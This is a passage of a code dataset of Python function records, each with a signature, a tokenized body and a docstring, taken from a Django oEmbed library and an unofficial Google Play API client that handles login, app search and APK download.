{"signature": "def get_providers(self):", "body": "return self.get_registry().keys()<EOL>", "docstring": "Provide a list of all oembed providers that are being used.", "id": "f2942:c0:m8"}
{"signature": "def provider_for_url(self, url):", "body": "for provider, regex in self.get_registry().items():<EOL><INDENT>if re.match(regex, url) is not None:<EOL><INDENT>return provider<EOL><DEDENT><DEDENT>raise OEmbedMissingEndpoint('<STR_LIT>' % url)<EOL>", "docstring": "Find the right provider for a URL", "id": "f2942:c0:m9"}
{"signature": "def invalidate_stored_oembeds(self, sender, instance, created, **kwargs):", "body": "ctype = ContentType.objects.get_for_model(instance)<EOL>StoredOEmbed.objects.filter(<EOL>object_id=instance.pk,<EOL>content_type=ctype).delete()<EOL>", "docstring": "A hook for django-based oembed providers to delete any stored oembeds", "id": "f2942:c0:m10"}
{"signature": "def embed(self, url, **kwargs):", "body": "try:<EOL><INDENT>provider = self.provider_for_url(url)<EOL><DEDENT>except OEmbedMissingEndpoint:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>stored_match = StoredOEmbed.objects.filter(<EOL>match=url, <EOL>maxwidth=kwargs.get('<STR_LIT>', None), <EOL>maxheight=kwargs.get('<STR_LIT>', None),<EOL>date_expires__gte=datetime.datetime.now())[<NUM_LIT:0>]<EOL>return OEmbedResource.create_json(stored_match.response_json)<EOL><DEDENT>except IndexError:<EOL><INDENT>params = dict([(k, v) for k, v in kwargs.items() if v])<EOL>resource = provider.request_resource(url, **params)<EOL>try:<EOL><INDENT>cache_age = int(resource.cache_age)<EOL>if cache_age < MIN_OEMBED_TTL:<EOL><INDENT>cache_age = MIN_OEMBED_TTL<EOL><DEDENT><DEDENT>except:<EOL><INDENT>cache_age = DEFAULT_OEMBED_TTL<EOL><DEDENT>date_expires = datetime.datetime.now() + datetime.timedelta(seconds=cache_age)<EOL>stored_oembed, created = StoredOEmbed.objects.get_or_create(<EOL>match=url,<EOL>maxwidth=kwargs.get('<STR_LIT>', None),<EOL>maxheight=kwargs.get('<STR_LIT>', None))<EOL>stored_oembed.response_json = resource.json<EOL>stored_oembed.resource_type = resource.type<EOL>stored_oembed.date_expires = date_expires<EOL>if resource.content_object:<EOL><INDENT>stored_oembed.content_object = resource.content_object<EOL><DEDENT>stored_oembed.save()<EOL>return resource<EOL><DEDENT><DEDENT>", "docstring": "The heart of the matter", "id": "f2942:c0:m11"}
{"signature": "def autodiscover(self, url):", "body": "headers, response = fetch_url(url)<EOL>if headers['<STR_LIT>'].split('<STR_LIT:;>')[<NUM_LIT:0>] in ('<STR_LIT:application/json>', '<STR_LIT>'):<EOL><INDENT>provider_data = json.loads(response)<EOL>return self.store_providers(provider_data)<EOL><DEDENT>", "docstring": "Load up StoredProviders from url if it is an oembed scheme", "id": "f2942:c0:m12"}
{"signature": "def store_providers(self, provider_data):", "body": "if not hasattr(provider_data, '<STR_LIT>'):<EOL><INDENT>raise OEmbedException('<STR_LIT>')<EOL><DEDENT>provider_pks = []<EOL>for provider in provider_data:<EOL><INDENT>if '<STR_LIT>' not in provider or'<STR_LIT>' not in provider:<EOL><INDENT>continue<EOL><DEDENT>resource_type = provider.get('<STR_LIT:type>')<EOL>if resource_type not in RESOURCE_TYPES:<EOL><INDENT>continue<EOL><DEDENT>stored_provider, created = StoredProvider.objects.get_or_create(<EOL>wildcard_regex=provider['<STR_LIT>']<EOL>)<EOL>if created:<EOL><INDENT>stored_provider.endpoint_url = relative_to_full(    <EOL>provider['<STR_LIT>'],<EOL>provider['<STR_LIT>']<EOL>)<EOL>stored_provider.resource_type = resource_type<EOL>stored_provider.save()<EOL><DEDENT>provider_pks.append(stored_provider.pk)<EOL><DEDENT>return StoredProvider.objects.filter(pk__in=provider_pks)<EOL>", "docstring": "Iterate over the returned json and try to sort out any new providers", "id": "f2942:c0:m13"}
{"signature": "def register_field(cls, field):", "body": "FieldRegistry.add_field(cls, field)<EOL>signals.post_save.connect(handle_save_embeds, sender=cls,<EOL>dispatch_uid='<STR_LIT>' %(cls._meta.app_label, cls._meta.module_name, field.name))<EOL>", "docstring": "Handles registering the fields with the FieldRegistry and creating a \npost-save signal for the model.", "id": "f2943:m0"}
{"signature": "def contribute_to_class(self, cls, name):", "body": "super(EmbeddedMediaField, self).contribute_to_class(cls, name)<EOL>register_field(cls, self)<EOL>cls._meta.add_virtual_field(EmbeddedSignalCreator(self))<EOL>", "docstring": "I need a way to ensure that this signal gets created for all child\nmodels, and since model inheritance doesn't have a 'contrubite_to_class'\nstyle hook, I am creating a fake virtual field which will be added to\nall subclasses and handles creating the signal", "id": "f2943:c2:m1"}
{"signature": "def autodiscover():", "body": "import imp<EOL>from django.conf import settings<EOL>for app in settings.INSTALLED_APPS:<EOL><INDENT>try:<EOL><INDENT>app_path = __import__(app, {}, {}, [app.split('<STR_LIT:.>')[-<NUM_LIT:1>]]).__path__<EOL><DEDENT>except AttributeError:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>imp.find_module('<STR_LIT>', app_path)<EOL><DEDENT>except ImportError:<EOL><INDENT>continue<EOL><DEDENT>__import__(\"<STR_LIT>\" % app)<EOL><DEDENT>", "docstring": "Automatically build the provider index.", "id": "f2944:m0"}
{"signature": "def render_oembed(self, oembed_resource, original_url, template_dir=None,<EOL>context=None):", "body": "provided_context = context or Context()<EOL>context = RequestContext(context.get(\"<STR_LIT>\") or mock_request())<EOL>context.update(provided_context)<EOL>template_name = '<STR_LIT>' % oembed_resource.type<EOL>templates = [os.path.join('<STR_LIT>', template_name), '<STR_LIT>']<EOL>if template_dir:<EOL><INDENT>templates.insert(<NUM_LIT:0>, os.path.join('<STR_LIT>', template_dir, template_name))<EOL><DEDENT>template = select_template(templates)<EOL>context.push()<EOL>context['<STR_LIT>'] = oembed_resource<EOL>context['<STR_LIT>'] = original_url<EOL>rendered = template.render(context)<EOL>context.pop()<EOL>return rendered.strip()<EOL>", "docstring": "Render the oembed resource and return as a string.\n\nTemplate directory will always fall back to 'oembed/[type].html', but\na custom template dir can be passed in using the kwargs.\n\nTemplates are given two context variables:\n- response: an OEmbedResource\n- original_url: the url that was passed to the consumer", "id": "f2946:c0:m0"}
{"signature": "def parse(self, text, maxwidth=None, maxheight=None, template_dir=None,<EOL>context=None, urlize_all_links=CONSUMER_URLIZE_ALL):", "body": "context = context or Context()<EOL>context['<STR_LIT>'] = maxwidth<EOL>context['<STR_LIT>'] = maxheight<EOL>try:<EOL><INDENT>text = unicode(text)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>text = unicode(text.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>return self.parse_data(text, maxwidth, maxheight, template_dir,<EOL>context, urlize_all_links)<EOL>", "docstring": "Scans a block of text, replacing anything matching a provider pattern\nwith an OEmbed html snippet, if possible.\n\nTemplates should be stored at oembed/{format}.html, so for example:\n\n    oembed/video.html\n\nAn optional template_dir can be provided, allowing for\n\n    oembed/[template_dir]/video.html\n\nThese templates are passed a context variable, ``response``, which is\nan OEmbedResource, as well as the ``original_url``", "id": "f2946:c0:m1"}
{"signature": "def parse_data(self, text, maxwidth, maxheight, template_dir, context,<EOL>urlize_all_links):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Implemented on all subclasses, this method contains the logic to\nprocess embeddable content in ``text``", "id": "f2946:c0:m2"}
{"signature": "def extract_urls(self, text):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Implemented on all subclasses, this method contains the logic to\nextract a list or set of urls from text", "id": "f2946:c0:m3"}
{"signature": "def parse_data(self, text, maxwidth, maxheight, template_dir, context,<EOL>urlize_all_links):", "body": "<EOL>replacements = {}<EOL>user_urls = set(re.findall(URL_RE, text))<EOL>for user_url in user_urls:<EOL><INDENT>try:<EOL><INDENT>resource = oembed.site.embed(user_url, maxwidth=maxwidth, maxheight=maxheight)<EOL><DEDENT>except OEmbedException:<EOL><INDENT>if urlize_all_links:<EOL><INDENT>replacements[user_url] = '<STR_LIT>' % {'<STR_LIT>': user_url}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>context['<STR_LIT>'] = min(maxwidth, resource.width)<EOL>context['<STR_LIT>'] = min(maxheight, resource.height)<EOL>replacement = self.render_oembed(<EOL>resource, <EOL>user_url, <EOL>template_dir=template_dir, <EOL>context=context<EOL>)<EOL>replacements[user_url] = replacement.strip()<EOL><DEDENT><DEDENT>user_urls = re.finditer(URL_RE, text)<EOL>matches = []<EOL>for match in user_urls:<EOL><INDENT>if match.group() in replacements:<EOL><INDENT>matches.append([match.start(), match.end(), match.group()])<EOL><DEDENT><DEDENT>for indx, (start, end, user_url) in enumerate(matches):<EOL><INDENT>replacement = replacements[user_url]<EOL>difference = len(replacement) - len(user_url)<EOL>text = text[:start] + replacement + text[end:]<EOL>for j in xrange(indx + <NUM_LIT:1>, len(matches)):<EOL><INDENT>matches[j][<NUM_LIT:0>] += difference<EOL>matches[j][<NUM_LIT:1>] += difference<EOL><DEDENT><DEDENT>return mark_safe(text)<EOL>", "docstring": "Parses a block of text indiscriminately", "id": "f2947:c0:m0"}
{"signature": "def parse_data(self, text, maxwidth, maxheight, template_dir, context, <EOL>urlize_all_links):", "body": "block_parser = TextBlockParser()<EOL>lines = text.splitlines()<EOL>parsed = []<EOL>for line in lines:<EOL><INDENT>if STANDALONE_URL_RE.match(line):<EOL><INDENT>user_url = line.strip()<EOL>try:<EOL><INDENT>resource = oembed.site.embed(user_url, maxwidth=maxwidth, maxheight=maxheight)<EOL>context['<STR_LIT>'] = min(maxwidth, resource.width)<EOL>context['<STR_LIT>'] = min(maxheight, resource.height)<EOL><DEDENT>except OEmbedException:<EOL><INDENT>if urlize_all_links:<EOL><INDENT>line = '<STR_LIT>' % {'<STR_LIT>': user_url}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>context['<STR_LIT>'] = min(maxwidth, resource.width)<EOL>context['<STR_LIT>'] = min(maxheight, resource.height)<EOL>line = self.render_oembed(<EOL>resource, <EOL>user_url, <EOL>template_dir=template_dir, <EOL>context=context)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>line = block_parser.parse(line, maxwidth, maxheight, '<STR_LIT>',<EOL>context, urlize_all_links)<EOL><DEDENT>parsed.append(line)<EOL><DEDENT>return mark_safe('<STR_LIT:\\n>'.join(parsed))<EOL>", "docstring": "Parses a block of text rendering links that occur on their own line\nnormally but rendering inline links using a special template dir", "id": "f2947:c1:m0"}
{"signature": "def size_to_nearest(width=None, height=None, allowed_sizes=OEMBED_ALLOWED_SIZES,<EOL>force_fit=False):", "body": "minwidth, minheight = min(allowed_sizes)<EOL>maxwidth, maxheight = max(allowed_sizes)<EOL>if not width and not height:<EOL><INDENT>return maxwidth, maxheight<EOL><DEDENT>if width:<EOL><INDENT>width = int(width) > minwidth and int(width) or minwidth<EOL><DEDENT>elif force_fit:<EOL><INDENT>width = maxwidth<EOL><DEDENT>if height:<EOL><INDENT>height = int(height) > minheight and int(height) or minheight<EOL><DEDENT>elif force_fit:<EOL><INDENT>height = maxheight<EOL><DEDENT>for size in sorted(allowed_sizes):<EOL><INDENT>if width and not height:<EOL><INDENT>if width >= size[<NUM_LIT:0>]:<EOL><INDENT>maxwidth = size[<NUM_LIT:0>]<EOL>if force_fit:<EOL><INDENT>maxheight = size[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>elif height and not width:<EOL><INDENT>if height >= size[<NUM_LIT:1>]:<EOL><INDENT>maxheight = size[<NUM_LIT:1>]<EOL>if force_fit:<EOL><INDENT>maxwidth = size[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if force_fit:<EOL><INDENT>if (width >= size[<NUM_LIT:0>]) and (height >= size[<NUM_LIT:1>]):<EOL><INDENT>maxwidth, maxheight = size<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if width >= size[<NUM_LIT:0>]:<EOL><INDENT>maxwidth = size[<NUM_LIT:0>]<EOL><DEDENT>if height >= size[<NUM_LIT:1>]:<EOL><INDENT>maxheight = size[<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return maxwidth, maxheight<EOL>", "docstring": "Generate some dimensions for resizing an object.  This function DOES NOT handle\nscaling, it simply calculates maximums.  These values should then be passed to\nthe resize() method which will scale it and return the scaled width & height.", "id": "f2950:m0"}
{"signature": "def fetch_url(url, method='<STR_LIT:GET>', user_agent='<STR_LIT>', timeout=SOCKET_TIMEOUT):", "body": "sock = httplib2.Http(timeout=timeout)<EOL>request_headers = {<EOL>'<STR_LIT>': user_agent,<EOL>'<STR_LIT>': '<STR_LIT>'}<EOL>try:<EOL><INDENT>headers, raw = sock.request(url, headers=request_headers, method=method)<EOL><DEDENT>except:<EOL><INDENT>raise OEmbedHTTPException('<STR_LIT>' % url)<EOL><DEDENT>return headers, raw<EOL>", "docstring": "Fetch response headers and data from a URL, raising a generic exception\nfor any kind of failure.", "id": "f2950:m2"}
{"signature": "def relative_to_full(url, example_url):", "body": "if re.match('<STR_LIT>', url):<EOL><INDENT>return url<EOL><DEDENT>domain = get_domain(example_url)<EOL>if domain:<EOL><INDENT>return '<STR_LIT>' % (domain, url)<EOL><DEDENT>return url<EOL>", "docstring": "Given a url which may or may not be a relative url, convert it to a full\nurl path given another full url as an example", "id": "f2950:m4"}
{"signature": "def mock_request():", "body": "current_site = Site.objects.get_current()<EOL>request = HttpRequest()<EOL>request.META['<STR_LIT>'] = current_site.domain<EOL>return request<EOL>", "docstring": "Generate a fake request object to allow oEmbeds to use context processors.", "id": "f2950:m5"}
{"signature": "def load_class(path):", "body": "package, klass = path.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>module = import_module(package)<EOL>return getattr(module, klass)<EOL>", "docstring": "dynamically load a class given a string of the format\n\npackage.Class", "id": "f2950:m6"}
{"signature": "def cleaned_sites():", "body": "mappings = {}<EOL>for site in Site.objects.all():<EOL><INDENT>match = re.match(r'<STR_LIT>', site.domain)<EOL>if match is not None:<EOL><INDENT>http, www, domain = match.groups()<EOL>http_re = http or r'<STR_LIT>'<EOL>www_re = r'<STR_LIT>'<EOL>domain_re = http_re + www_re + domain<EOL>http = http or r'<STR_LIT>'<EOL>www = www or '<STR_LIT>'<EOL>normalized = http + www + domain<EOL>mappings[site.pk] = (domain_re, site.name, normalized)<EOL><DEDENT><DEDENT>return mappings<EOL>", "docstring": "Create a list of tuples mapping domains from the sites table to their\nsite name.  The domains will be cleaned into regexes that may be\nmore permissive than the site domain is in the db.\n\n[(domain_regex, domain_name, domain_string), ...]", "id": "f2950:m7"}
{"signature": "def getDevicesCodenames():", "body": "return config.sections()<EOL>", "docstring": "Returns a list containing devices codenames", "id": "f2959:m0"}
{"signature": "def getDevicesReadableNames():", "body": "return [{'<STR_LIT>': s,<EOL>'<STR_LIT>': config.get(s).get('<STR_LIT>')}<EOL>for s in getDevicesCodenames()]<EOL>", "docstring": "Returns codename and readable name for each device", "id": "f2959:m1"}
{"signature": "def encryptPassword(self, login, passwd):", "body": "<EOL>binaryKey = b64decode(config.GOOGLE_PUBKEY)<EOL>i = utils.readInt(binaryKey, <NUM_LIT:0>)<EOL>modulus = utils.toBigInt(binaryKey[<NUM_LIT:4>:][<NUM_LIT:0>:i])<EOL>j = utils.readInt(binaryKey, i + <NUM_LIT:4>)<EOL>exponent = utils.toBigInt(binaryKey[i + <NUM_LIT:8>:][<NUM_LIT:0>:j])<EOL>digest = hashes.Hash(hashes.SHA1(), backend=default_backend())<EOL>digest.update(binaryKey)<EOL>h = b'<STR_LIT:\\x00>' + digest.finalize()[<NUM_LIT:0>:<NUM_LIT:4>]<EOL>der_data = encode_dss_signature(modulus, exponent)<EOL>publicKey = load_der_public_key(der_data, backend=default_backend())<EOL>to_be_encrypted = login.encode() + b'<STR_LIT:\\x00>' + passwd.encode()<EOL>ciphertext = publicKey.encrypt(<EOL>to_be_encrypted,<EOL>padding.OAEP(<EOL>mgf=padding.MGF1(algorithm=hashes.SHA1()),<EOL>algorithm=hashes.SHA1(),<EOL>label=None<EOL>)<EOL>)<EOL>return urlsafe_b64encode(h + ciphertext)<EOL>", "docstring": "Encrypt credentials using the google publickey, with the\n        RSA algorithm", "id": "f2960:c3:m3"}
{"signature": "def getHeaders(self, upload_fields=False):", "body": "if upload_fields:<EOL><INDENT>headers = self.deviceBuilder.getDeviceUploadHeaders()<EOL><DEDENT>else:<EOL><INDENT>headers = self.deviceBuilder.getBaseHeaders()<EOL><DEDENT>if self.gsfId is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT>\".format(self.gsfId)<EOL><DEDENT>if self.authSubToken is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT>\" % self.authSubToken<EOL><DEDENT>if self.device_config_token is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = self.device_config_token<EOL><DEDENT>if self.deviceCheckinConsistencyToken is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = self.deviceCheckinConsistencyToken<EOL><DEDENT>if self.dfeCookie is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = self.dfeCookie<EOL><DEDENT>return headers<EOL>", "docstring": "Return the default set of request headers, which\n        can later be expanded, based on the request type", "id": "f2960:c3:m5"}
{"signature": "def uploadDeviceConfig(self):", "body": "upload = googleplay_pb2.UploadDeviceConfigRequest()<EOL>upload.deviceConfiguration.CopyFrom(self.deviceBuilder.getDeviceConfig())<EOL>headers = self.getHeaders(upload_fields=True)<EOL>stringRequest = upload.SerializeToString()<EOL>response = requests.post(UPLOAD_URL, data=stringRequest,<EOL>headers=headers,<EOL>verify=ssl_verify,<EOL>timeout=<NUM_LIT>,<EOL>proxies=self.proxies_config)<EOL>response = googleplay_pb2.ResponseWrapper.FromString(response.content)<EOL>try:<EOL><INDENT>if response.payload.HasField('<STR_LIT>'):<EOL><INDENT>self.device_config_token = response.payload.uploadDeviceConfigResponse<EOL>self.device_config_token = self.device_config_token.uploadDeviceConfigToken<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Upload the device configuration of the fake device\n        selected in the __init__ methodi to the google account.", "id": "f2960:c3:m7"}
{"signature": "def login(self, email=None, password=None, gsfId=None, authSubToken=None):", "body": "if email is not None and password is not None:<EOL><INDENT>encryptedPass = self.encryptPassword(email, password).decode('<STR_LIT:utf-8>')<EOL>params = self.deviceBuilder.getLoginParams(email, encryptedPass)<EOL>params['<STR_LIT>'] = '<STR_LIT>'<EOL>params['<STR_LIT>'] = '<STR_LIT:1>'<EOL>params['<STR_LIT>'] = '<STR_LIT>'<EOL>headers = self.deviceBuilder.getAuthHeaders(self.gsfId)<EOL>headers['<STR_LIT>'] = '<STR_LIT>'<EOL>response = requests.post(AUTH_URL, data=params, verify=ssl_verify,<EOL>proxies=self.proxies_config)<EOL>data = response.text.split()<EOL>params = {}<EOL>for d in data:<EOL><INDENT>if \"<STR_LIT:=>\" not in d:<EOL><INDENT>continue<EOL><DEDENT>k, v = d.split(\"<STR_LIT:=>\", <NUM_LIT:1>)<EOL>params[k.strip().lower()] = v.strip()<EOL><DEDENT>if \"<STR_LIT>\" in params:<EOL><INDENT>ac2dmToken = params[\"<STR_LIT>\"]<EOL><DEDENT>elif \"<STR_LIT:error>\" in params:<EOL><INDENT>if \"<STR_LIT>\" in params[\"<STR_LIT:error>\"]:<EOL><INDENT>raise SecurityCheckError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>raise LoginError(\"<STR_LIT>\" + params[\"<STR_LIT:error>\"])<EOL><DEDENT>else:<EOL><INDENT>raise LoginError(\"<STR_LIT>\")<EOL><DEDENT>self.gsfId = self.checkin(email, ac2dmToken)<EOL>self.getAuthSubToken(email, encryptedPass)<EOL>self.uploadDeviceConfig()<EOL><DEDENT>elif gsfId is not None and authSubToken is not None:<EOL><INDENT>self.gsfId = gsfId<EOL>self.setAuthSubToken(authSubToken)<EOL>self.search('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise LoginError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Login to your Google Account.\n        For first time login you should provide:\n            * email\n            * password\n        For the following logins you need to provide:\n            * gsfId\n            * authSubToken", "id": "f2960:c3:m8"}
{"signature": "def search(self, query):", "body": "if self.authSubToken is None:<EOL><INDENT>raise LoginError(\"<STR_LIT>\")<EOL><DEDENT>path = SEARCH_URL + \"<STR_LIT>\".format(requests.utils.quote(query))<EOL>self.toc()<EOL>data = self.executeRequestApi2(path)<EOL>if utils.hasPrefetch(data):<EOL><INDENT>response = data.preFetch[<NUM_LIT:0>].response<EOL><DEDENT>else:<EOL><INDENT>response = data<EOL><DEDENT>resIterator = response.payload.listResponse.doc<EOL>return list(map(utils.parseProtobufObj, resIterator))<EOL>", "docstring": "Search the play store for an app.\n\n        nb_result (int): is the maximum number of result to be returned\n\n        offset (int): is used to take result starting from an index.", "id": "f2960:c3:m13"}
{"signature": "def details(self, packageName):", "body": "path = DETAILS_URL + \"<STR_LIT>\".format(requests.utils.quote(packageName))<EOL>data = self.executeRequestApi2(path)<EOL>return utils.parseProtobufObj(data.payload.detailsResponse.docV2)<EOL>", "docstring": "Get app details from a package name.\n\n        packageName is the app unique ID (usually starting with 'com.').", "id": "f2960:c3:m14"}
{"signature": "def bulkDetails(self, packageNames):", "body": "params = {'<STR_LIT>': '<STR_LIT:1>'}<EOL>req = googleplay_pb2.BulkDetailsRequest()<EOL>req.docid.extend(packageNames)<EOL>data = req.SerializeToString()<EOL>message = self.executeRequestApi2(BULK_URL,<EOL>post_data=data.decode(\"<STR_LIT:utf-8>\"),<EOL>content_type=CONTENT_TYPE_PROTO,<EOL>params=params)<EOL>response = message.payload.bulkDetailsResponse<EOL>return [None if not utils.hasDoc(entry) else<EOL>utils.parseProtobufObj(entry.doc)<EOL>for entry in response.entry]<EOL>", "docstring": "Get several apps details from a list of package names.\n\n        This is much more efficient than calling N times details() since it\n        requires only one request. If an item is not found it returns an empty object\n        instead of throwing a RequestError('Item not found') like the details() function\n\n        Args:\n            packageNames (list): a list of app IDs (usually starting with 'com.').\n\n        Returns:\n            a list of dictionaries containing docv2 data, or None\n            if the app doesn't exist", "id": "f2960:c3:m15"}
{"signature": "def browse(self, cat=None, subCat=None):", "body": "path = BROWSE_URL + \"<STR_LIT>\"<EOL>if cat is not None:<EOL><INDENT>path += \"<STR_LIT>\".format(requests.utils.quote(cat))<EOL><DEDENT>if subCat is not None:<EOL><INDENT>path += \"<STR_LIT>\".format(requests.utils.quote(subCat))<EOL><DEDENT>data = self.executeRequestApi2(path)<EOL>return utils.parseProtobufObj(data.payload.browseResponse)<EOL>", "docstring": "Browse categories. If neither cat nor subcat are specified,\n        return a list of categories, otherwise it return a list of apps\n        using cat (category ID) and subCat (subcategory ID) as filters.", "id": "f2960:c3:m17"}
{"signature": "def list(self, cat, ctr=None, nb_results=None, offset=None):", "body": "path = LIST_URL + \"<STR_LIT>\".format(requests.utils.quote(cat))<EOL>if ctr is not None:<EOL><INDENT>path += \"<STR_LIT>\".format(requests.utils.quote(ctr))<EOL><DEDENT>if nb_results is not None:<EOL><INDENT>path += \"<STR_LIT>\".format(requests.utils.quote(str(nb_results)))<EOL><DEDENT>if offset is not None:<EOL><INDENT>path += \"<STR_LIT>\".format(requests.utils.quote(str(offset)))<EOL><DEDENT>data = self.executeRequestApi2(path)<EOL>clusters = []<EOL>docs = []<EOL>if ctr is None:<EOL><INDENT>for pf in data.preFetch:<EOL><INDENT>for cluster in pf.response.payload.listResponse.doc:<EOL><INDENT>clusters.extend(cluster.child)<EOL><DEDENT><DEDENT>return [c.docid for c in clusters]<EOL><DEDENT>else:<EOL><INDENT>apps = []<EOL>for d in data.payload.listResponse.doc: <EOL><INDENT>for c in d.child: <EOL><INDENT>for a in c.child: <EOL><INDENT>apps.append(utils.parseProtobufObj(a))<EOL><DEDENT><DEDENT><DEDENT>return apps<EOL><DEDENT>", "docstring": "List all possible subcategories for a specific category. If\n        also a subcategory is provided, list apps from this category.\n\n        Args:\n            cat (str): category id\n            ctr (str): subcategory id\n            nb_results (int): if a subcategory is specified, limit number\n                of results to this number\n            offset (int): if a subcategory is specified, start counting from this\n                result\n        Returns:\n            A list of categories. If subcategory is specified, a list of apps in this\n            category.", "id": "f2960:c3:m18"}
{"signature": "def reviews(self, packageName, filterByDevice=False, sort=<NUM_LIT:2>,<EOL>nb_results=None, offset=None):", "body": "<EOL>path = REVIEWS_URL + \"<STR_LIT>\".format(requests.utils.quote(packageName), sort)<EOL>if nb_results is not None:<EOL><INDENT>path += \"<STR_LIT>\".format(nb_results)<EOL><DEDENT>if offset is not None:<EOL><INDENT>path += \"<STR_LIT>\".format(offset)<EOL><DEDENT>if filterByDevice:<EOL><INDENT>path += \"<STR_LIT>\"<EOL><DEDENT>data = self.executeRequestApi2(path)<EOL>output = []<EOL>for review in data.payload.reviewResponse.getResponse.review:<EOL><INDENT>output.append(utils.parseProtobufObj(review))<EOL><DEDENT>return output<EOL>", "docstring": "Browse reviews for an application\n\n        Args:\n            packageName (str): app unique ID.\n            filterByDevice (bool): filter results for current device\n            sort (int): sorting criteria (values are unknown)\n            nb_results (int): max number of reviews to return\n            offset (int): return reviews starting from an offset value\n\n        Returns:\n            dict object containing all the protobuf data returned from\n            the api", "id": "f2960:c3:m19"}
{"signature": "def delivery(self, packageName, versionCode=None, offerType=<NUM_LIT:1>,<EOL>downloadToken=None, expansion_files=False):", "body": "if versionCode is None:<EOL><INDENT>versionCode = self.details(packageName).get('<STR_LIT>')<EOL><DEDENT>params = {'<STR_LIT>': str(offerType),<EOL>'<STR_LIT>': packageName,<EOL>'<STR_LIT>': str(versionCode)}<EOL>headers = self.getHeaders()<EOL>if downloadToken is not None:<EOL><INDENT>params['<STR_LIT>'] = downloadToken<EOL><DEDENT>response = requests.get(DELIVERY_URL, headers=headers,<EOL>params=params, verify=ssl_verify,<EOL>timeout=<NUM_LIT>,<EOL>proxies=self.proxies_config)<EOL>response = googleplay_pb2.ResponseWrapper.FromString(response.content)<EOL>if response.commands.displayErrorMessage != \"<STR_LIT>\":<EOL><INDENT>raise RequestError(response.commands.displayErrorMessage)<EOL><DEDENT>elif response.payload.deliveryResponse.appDeliveryData.downloadUrl == \"<STR_LIT>\":<EOL><INDENT>raise RequestError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>result = {}<EOL>result['<STR_LIT>'] = packageName<EOL>result['<STR_LIT>'] = []<EOL>downloadUrl = response.payload.deliveryResponse.appDeliveryData.downloadUrl<EOL>cookie = response.payload.deliveryResponse.appDeliveryData.downloadAuthCookie[<NUM_LIT:0>]<EOL>cookies = {<EOL>str(cookie.name): str(cookie.value)<EOL>}<EOL>result['<STR_LIT:file>'] = self._deliver_data(downloadUrl, cookies)<EOL>if not expansion_files:<EOL><INDENT>return result<EOL><DEDENT>for obb in response.payload.deliveryResponse.appDeliveryData.additionalFile:<EOL><INDENT>a = {}<EOL>if obb.fileType == <NUM_LIT:0>:<EOL><INDENT>obbType = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>obbType = '<STR_LIT>'<EOL><DEDENT>a['<STR_LIT:type>'] = obbType<EOL>a['<STR_LIT>'] = obb.versionCode<EOL>a['<STR_LIT:file>'] = self._deliver_data(obb.downloadUrl, None)<EOL>result['<STR_LIT>'].append(a)<EOL><DEDENT>return result<EOL><DEDENT>", "docstring": "Download an already purchased app.\n\n        Args:\n            packageName (str): app unique ID (usually starting with 'com.')\n            versionCode (int): version to download\n            offerType (int): different type of downloads (mostly unused for apks)\n            downloadToken (str): download token returned by 'purchase' API\n            progress_bar (bool): wether or not to print a progress bar to stdout\n\n        Returns:\n            Dictionary containing apk data and a list of expansion files. As stated\n            in android documentation, there can be at most 2 expansion files, one with\n            main content, and one for patching the main content. Their names should\n            follow this format:\n\n            [main|patch].<expansion-version>.<package-name>.obb\n\n            Data to build this name string is provided in the dict object. For more\n            info check https://developer.android.com/google/play/expansion-files.html", "id": "f2960:c3:m21"}
{"signature": "def download(self, packageName, versionCode=None, offerType=<NUM_LIT:1>, expansion_files=False):", "body": "if self.authSubToken is None:<EOL><INDENT>raise LoginError(\"<STR_LIT>\")<EOL><DEDENT>if versionCode is None:<EOL><INDENT>appDetails = self.details(packageName).get('<STR_LIT>').get('<STR_LIT>')<EOL>versionCode = appDetails.get('<STR_LIT>')<EOL><DEDENT>headers = self.getHeaders()<EOL>params = {'<STR_LIT>': str(offerType),<EOL>'<STR_LIT>': packageName,<EOL>'<STR_LIT>': str(versionCode)}<EOL>self.log(packageName)<EOL>response = requests.post(PURCHASE_URL, headers=headers,<EOL>params=params, verify=ssl_verify,<EOL>timeout=<NUM_LIT>,<EOL>proxies=self.proxies_config)<EOL>response = googleplay_pb2.ResponseWrapper.FromString(response.content)<EOL>if response.commands.displayErrorMessage != \"<STR_LIT>\":<EOL><INDENT>raise RequestError(response.commands.displayErrorMessage)<EOL><DEDENT>else:<EOL><INDENT>dlToken = response.payload.buyResponse.downloadToken<EOL>return self.delivery(packageName, versionCode, offerType, dlToken,<EOL>expansion_files=expansion_files)<EOL><DEDENT>", "docstring": "Download an app and return its raw data (APK file). Free apps need\n        to be \"purchased\" first, in order to retrieve the download cookie.\n        If you want to download an already purchased app, use *delivery* method.\n\n        Args:\n            packageName (str): app unique ID (usually starting with 'com.')\n            versionCode (int): version to download\n            offerType (int): different type of downloads (mostly unused for apks)\n            downloadToken (str): download token returned by 'purchase' API\n            progress_bar (bool): wether or not to print a progress bar to stdout\n\n        